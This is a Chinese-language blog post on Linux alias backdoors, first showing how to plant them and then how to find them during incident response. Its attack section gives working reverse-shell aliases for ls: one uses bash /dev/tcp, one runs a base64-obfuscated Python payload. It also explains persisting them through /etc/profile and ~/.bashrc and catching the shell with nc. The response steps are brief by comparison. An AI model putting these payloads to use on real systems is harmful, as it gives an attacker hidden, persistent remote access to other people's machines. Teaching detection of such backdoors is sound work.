alias 后门从入门到应急响应

目录

[1. alias 后门介绍](#1. alias 后门介绍)

[2. alias 后门注入方式](#2. alias 后门注入方式)

[2.1 方式一(以函数的方式执行)](#2.1 方式一(以函数的方式执行))

[2.2 方式二(执行python脚本)](#2.2 方式二(执行python脚本))

3.应急响应

[3.1 查看所有连接](#3.1 查看所有连接)

[3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令](#3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令)

[3.3 查看别名](#3.3 查看别名)

[3.4 其他情况](#3.4 其他情况)

[3.5 那么检查这些启动程序和配置文件是否被篡改](#3.5 那么检查这些启动程序和配置文件是否被篡改)


1. alias 后门介绍

在Linux系统中,alias命令通常用于为常用的命令设置快捷方式或别名,以提高工作效率。然而,这个特性也可能被滥用来创建后门,允许攻击者在不知情的情况下执行恶意命令。

2. alias 后门注入方式

2.1 方式一(以函数的方式执行)

bash 复制代码
alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al

# 方式一设置 输入ls时会卡主
alias ls="ls -al"
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.12/3333 0>&1; };alerts'


# 反弹shell,只需要被植入的后门的主机输入ls命令就会反弹一次shell,但是会卡主容易被发现

设置完毕后,每输入一次ls命令就会反弹一次shell ,但是会卡主,容易引起怀疑

在kali监听主机端,输入nc -lvvp 3333 监听端口

2.2 方式二(执行python脚本)

bash 复制代码
alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al

# 设置一后再设置二时先删除1
unalias ls
alias ls="ls -al"

# 方式二设置 需要有Python3环境
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNSIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'

# 反弹shell
nc -lvvp 3333 



# 通过在 ~/.bash_profile  /etc/profile 这两个系统的配置文件中进行设置,使得服务器每次登录后就触发alias后门 
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

在目标主机上配置后门时需要确保目标主机有Python3的运行环境,不然无法进行反弹shell

Ubantu和Centos7一键shell更换镜像源与Linux系统Python3环境安装-CSDN博客https://blog.csdn.net/weixin_72543266/article/details/142066916?spm=1001.2014.3001.5502 在进行反弹shell,时需要对执行的脚本代码中的base64中的内容进行修改.先解吗中间的base64部分,改完后,在编码回去替换

Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。https://www.toolhelper.cn/EncodeDecode/Base64

bash 复制代码
aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC44Ni4xMzciLCAzMzMzKSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQo=
bash 复制代码
# 查看别名
alias
# 如果之前有设置过,需要先删除,然后重新设置
unalias ls

# 设置别名的内容,记得使用前需要修改哦(一定要将反弹shell的ip地址设置正确)
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMiIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'

# 设置完后确认一下
alias

这里用监听机kali进行监听反弹回来的端口

bash 复制代码
# 监听主机进行监听
nc -lvvp 3333

3.应急响应

此时确定后门以进行连接

3.1 查看所有连接

发现与 192.168.10.2:20546 的异常连接,是反弹的shell连接

bash 复制代码
netstat -anpt

3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

bash 复制代码
ps aux | grep 33636

查看 PID 为33636的 PPID,发现是1

bash 复制代码
cat /proc/33636/status

3.3 查看别名

通过alias发现了异常别名

这里对base64文件进行解码发现确实为反弹shell的py脚本

3.4 其他情况

通过使用命令​​unalias alert​​​ 可以删除别名,但是如果下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门写进了 系统的启动程序和配置文件中,比如: ​​/etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout​​ 才会导致,每次登录服务器就会重新触发 alias 后门

3.5 那么检查这些启动程序和配置文件是否被篡改

将检查出来存在修改的文件信息,进行删除即可

bash 复制代码
stat ~/.bash_profile 
stat /etc/profile
相关推荐
The-Back-Zoom17 天前
【蓝队技能】【C2流量分析】MSF&CS&Sliver
web安全·安全运营·蓝队
江南26022 天前
CISAW安全集成,协助组织构建坚固的信息防护堡垒
安全·渗透测试·风险管理·cisaw·安全运维·应急服务
borgeous25 天前
第一届“帕鲁杯”应急响应wp
分布式·安全·应急响应
SuperherRo2 个月前
蓝队技能-应急响应篇&Web内存马查杀&JVM分析&Class提取&诊断反编译&日志定性
servlet·filter·蓝队·内存马
落寞的魚丶2 个月前
2024 年浙江省网络安全行业网络安全运维工程师项目 职业技能竞赛网络安全运维工程师(决赛样题)
应急响应·2024浙江省安全行业赛·网络安全运维工程师·职业技能景赛·cms渗透测试
内心如初2 个月前
SSH公私钥后门从入门到应急响应
权限维持·应急响应·安全运维
内心如初2 个月前
安全政策与安全意识(下)
笔记·等保测评·蓝队·安全政策与安全意识
Pluto-20032 个月前
WEB渗透权限维持篇-隐藏windows服务
windows·网络安全·渗透测试·权限维持·web渗透
Pluto-20032 个月前
WEB渗透权限维持篇-MSSQL后门
数据库·windows·web安全·网络安全·渗透测试·权限维持